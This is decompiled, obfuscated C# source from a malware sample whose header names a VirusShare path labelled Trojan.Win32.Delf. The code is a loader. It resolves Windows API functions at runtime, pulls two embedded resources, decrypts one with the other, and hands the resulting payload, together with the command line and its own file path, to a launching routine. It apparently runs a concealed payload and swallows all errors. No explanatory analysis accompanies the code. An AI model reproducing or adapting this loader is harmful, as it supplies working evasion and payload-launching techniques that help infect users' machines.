// Decompiled with JetBrains decompiler // Type: . // Assembly: Explorer, Version=1.0.0.0, Culture=neutral, PublicKeyToken=1133f7a8419a0062 // MVID: 9EBACA4B-5CC4-4E1D-BB8B-A34A1921D651 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Delf.cjha-09fdf048be5ee692c4b7f67dcd746d321697af807f132f1e395c35c2bc7d244c.exe using \u0004; using \u0005; using System; using System.Runtime.InteropServices; using System.Text; namespace \u0003 { internal class \u0003 { private static \u0003.\u0003.\u0005 \u0001; private static \u0003.\u0003.\u0002 \u0001; private static \u0003.\u0003.\u0001 \u0001; private static \u0003.\u0003.\u0003 \u0001; private static \u0003.\u0003.\u0004 \u0001; public static void \u0003([In] string[] obj0) { byte[] numArray1 = new byte[0]; string str1 = string.Join(Convert.ToChar(32).ToString(), obj0); \u0003.\u0003.\u0001 = (\u0003.\u0003.\u0005) Marshal.GetDelegateForFunctionPointer(\u0001.\u0003(\u0001.\u0003(\u0002.\u0003()), \u0002.\u0004()), typeof (\u0003.\u0003.\u0005)); \u0003.\u0003.\u0001 = (\u0003.\u0003.\u0002) Marshal.GetDelegateForFunctionPointer(\u0001.\u0003(\u0001.\u0003(\u0002.\u0003()), \u0002.\u0005()), typeof (\u0003.\u0003.\u0002)); \u0003.\u0003.\u0001 = (\u0003.\u0003.\u0001) Marshal.GetDelegateForFunctionPointer(\u0001.\u0003(\u0001.\u0003(\u0002.\u0003()), \u0002.\u0006()), typeof (\u0003.\u0003.\u0001)); \u0003.\u0003.\u0001 = (\u0003.\u0003.\u0003) Marshal.GetDelegateForFunctionPointer(\u0001.\u0003(\u0001.\u0003(\u0002.\u0003()), \u0002.\u0007()), typeof (\u0003.\u0003.\u0003)); \u0003.\u0003.\u0001 = (\u0003.\u0003.\u0004) Marshal.GetDelegateForFunctionPointer(\u0001.\u0003(\u0001.\u0003(\u0002.\u0003()), \u0002.\u0008()), typeof (\u0003.\u0003.\u0004)); try { string str2 = \u0003.\u0003.\u0003(104); string str3 = \u0003.\u0003.\u0003(105); if (str2.Length <= 0 || str3.Length <= 0) return; byte[] numArray2 = \u0001.\u0003(str3, str2); if (numArray2.Length <= 0) return; if (\u0001.\u0003(numArray2)) \u0001.\u0003(obj0); else \u0004.\u0003.\u0003(numArray2, str1, \u0003.\u0003.\u0003()); } catch { } } private static string \u0003() { StringBuilder stringBuilder = new StringBuilder((int) byte.MaxValue); int num = (int) \u0003.\u0003.\u0001(IntPtr.Zero, stringBuilder, stringBuilder.Capacity); return stringBuilder.ToString(); } private static string \u0003([In] int obj0) { byte[] numArray1 = new byte[0]; byte[] numArray2; try { IntPtr num1 = \u0003.\u0003.\u0001(IntPtr.Zero, (IntPtr) obj0, (IntPtr) 2); IntPtr num2 = \u0003.\u0003.\u0001(IntPtr.Zero, num1); IntPtr source = \u0003.\u0003.\u0001(num2); uint length = \u0003.\u0003.\u0001(IntPtr.Zero, num1); numArray2 = new byte[(IntPtr) length]; Marshal.Copy(source, numArray2, 0, (int) length); } catch { return string.Empty; } return Encoding.Default.GetString(numArray2); } private delegate IntPtr \u0001([In] IntPtr obj0); private delegate IntPtr \u0002([In] IntPtr obj0, [In] IntPtr obj1); private delegate uint \u0003([In] IntPtr obj0, [In] IntPtr obj1); private delegate uint \u0004([In] IntPtr obj0, [In] StringBuilder obj1, [MarshalAs(UnmanagedType.U4), In] int _param3); private delegate IntPtr \u0005([In] IntPtr obj0, [In] IntPtr obj1, [In] IntPtr obj2); } }